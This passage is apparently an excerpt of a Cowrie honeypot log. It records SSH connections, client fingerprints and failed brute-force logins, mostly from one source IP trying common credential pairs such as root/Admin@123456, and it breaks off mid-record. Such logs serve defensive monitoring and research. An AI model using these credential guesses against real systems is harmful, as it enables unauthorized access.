{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:12:9b:b0:5e:60:1e:19:9f:84:6a:06:73:62:bc:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6vVXDNzc/XYetxuO+mQSPeaa54Zy2QitMDHXLUDKmtWMJlps1ANCJrpNj2g0zVZW5k3nhDRrwIxux/EFgDNg10NTJFWLGNJnG7w5wLjFcpNZ2hlzhZnb94z/MFWq62acvBPWubytfXO+M/X74lrVhZmGHCwGuGuwrh8AL/vZjAvkQvunfKkM7yrcIpk2YZrKsQpy1BX+imagGmmhpKT20qMhHlTj7/C9o3QxJv3QIo2Qsln5IcSZDokLdIwHIeFhQilzmvQqL3rSWypZeB+9kER9iRhCSdsLsm5Z0E5TLjpvtOtmbvc30xBgUWpIAHpSCWIoqQhIVwNGTLLuh6z5Mw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8e:12:9b:b0:5e:60:1e:19:9f:84:6a:06:73:62:bc:7f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.535593Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:12:9b:b0:5e:60:1e:19:9f:84:6a:06:73:62:bc:7f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6vVXDNzc/XYetxuO+mQSPeaa54Zy2QitMDHXLUDKmtWMJlps1ANCJrpNj2g0zVZW5k3nhDRrwIxux/EFgDNg10NTJFWLGNJnG7w5wLjFcpNZ2hlzhZnb94z/MFWq62acvBPWubytfXO+M/X74lrVhZmGHCwGuGuwrh8AL/vZjAvkQvunfKkM7yrcIpk2YZrKsQpy1BX+imagGmmhpKT20qMhHlTj7/C9o3QxJv3QIo2Qsln5IcSZDokLdIwHIeFhQilzmvQqL3rSWypZeB+9kER9iRhCSdsLsm5Z0E5TLjpvtOtmbvc30xBgUWpIAHpSCWIoqQhIVwNGTLLuh6z5Mw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.540539Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:46.666612Z","src_ip":"31.42.190.77","session":"f0eb528553ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":44008,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb6f2f7e499","protocol":"ssh","message":"New connection: 45.153.34.97:44008 (10.17.0.5:22) [session: abb6f2f7e499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:48.271883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:48.277567Z","src_ip":"45.153.34.97","session":"abb6f2f7e499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:48.368895Z","src_ip":"45.153.34.97","session":"abb6f2f7e499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.18516707420349,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:48.661392Z","src_ip":"152.42.224.71","session":"f6f614f8ad9e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsxedc","message":"login attempt [root/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:48.780506Z","src_ip":"45.153.34.97","session":"abb6f2f7e499","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:50.177690Z","src_ip":"45.153.34.97","session":"abb6f2f7e499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21998,"dst_ip":"10.17.0.5","dst_port":22,"session":"f359b34abb3e","protocol":"ssh","message":"New connection: 45.153.34.97:21998 (10.17.0.5:22) [session: f359b34abb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:53.775917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:53.800701Z","src_ip":"45.153.34.97","session":"f359b34abb3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:54.481539Z","src_ip":"45.153.34.97","session":"f359b34abb3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123456","message":"login attempt [root/Admin@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:54.773699Z","src_ip":"45.153.34.97","session":"f359b34abb3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:56.179995Z","src_ip":"45.153.34.97","session":"f359b34abb3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":22000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff43871d8ece","protocol":"ssh","message":"New connection: 45.153.34.97:22000 (10.17.0.5:22) [session: ff43871d8ece]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:57.372825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:57.385575Z","src_ip":"45.153.34.97","session":"ff43871d8ece","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:57.596198Z","src_ip":"45.153.34.97","session":"ff43871d8ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":4540,"dst_ip":"10.17.0.5","dst_port":22,"session":"74c6cdefa155","protocol":"ssh","message":"New connection: 38.93.206.2:4540 (10.17.0.5:22) [session: 74c6cdefa155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:57.698877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:57.704306Z","src_ip":"38.93.206.2","session":"74c6cdefa155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:57.755165Z","src_ip":"38.93.206.2","session":"74c6cdefa155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"olga123","message":"login attempt [root/olga123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:57.916968Z","src_ip":"38.93.206.2","session":"74c6cdefa155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest123","message":"login attempt [ftptest/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:58.591255Z","src_ip":"45.153.34.97","session":"ff43871d8ece","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:58.976961Z","src_ip":"38.93.206.2","session":"74c6cdefa155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:57:59.683429Z","src_ip":"45.153.34.97","session":"ff43871d8ece","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":26150,"dst_ip":"10.17.0.5","dst_port":22,"session":"ade620822a5a","protocol":"ssh","message":"New connection: 45.153.34.97:26150 (10.17.0.5:22) [session: ade620822a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:01.679471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:01.690986Z","src_ip":"45.153.34.97","session":"ade620822a5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:01.781708Z","src_ip":"45.153.34.97","session":"ade620822a5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"password","message":"login attempt [deployer/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:02.670701Z","src_ip":"45.153.34.97","session":"ade620822a5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:04.091156Z","src_ip":"45.153.34.97","session":"ade620822a5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":26164,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bbd79cc1c15","protocol":"ssh","message":"New connection: 45.153.34.97:26164 (10.17.0.5:22) [session: 6bbd79cc1c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:06.171094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:06.176495Z","src_ip":"45.153.34.97","session":"6bbd79cc1c15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:06.281453Z","src_ip":"45.153.34.97","session":"6bbd79cc1c15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"p@ssw0rd","message":"login attempt [user/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:06.973794Z","src_ip":"45.153.34.97","session":"6bbd79cc1c15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:08.183032Z","src_ip":"45.153.34.97","session":"6bbd79cc1c15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":41530,"dst_ip":"10.17.0.5","dst_port":22,"session":"2326af91f3db","protocol":"ssh","message":"New connection: 45.153.34.97:41530 (10.17.0.5:22) [session: 2326af91f3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:10.407320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:10.412364Z","src_ip":"45.153.34.97","session":"2326af91f3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:10.494470Z","src_ip":"45.153.34.97","session":"2326af91f3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abc","password":"123456","message":"login attempt [abc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:11.286389Z","src_ip":"45.153.34.97","session":"2326af91f3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:12.420488Z","src_ip":"45.153.34.97","session":"2326af91f3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":41542,"dst_ip":"10.17.0.5","dst_port":22,"session":"311d87d6f8d6","protocol":"ssh","message":"New connection: 45.153.34.97:41542 (10.17.0.5:22) [session: 311d87d6f8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:14.812643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:58:14.817569Z","src_ip":"45.153.34.97","session":"311d87d6f8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-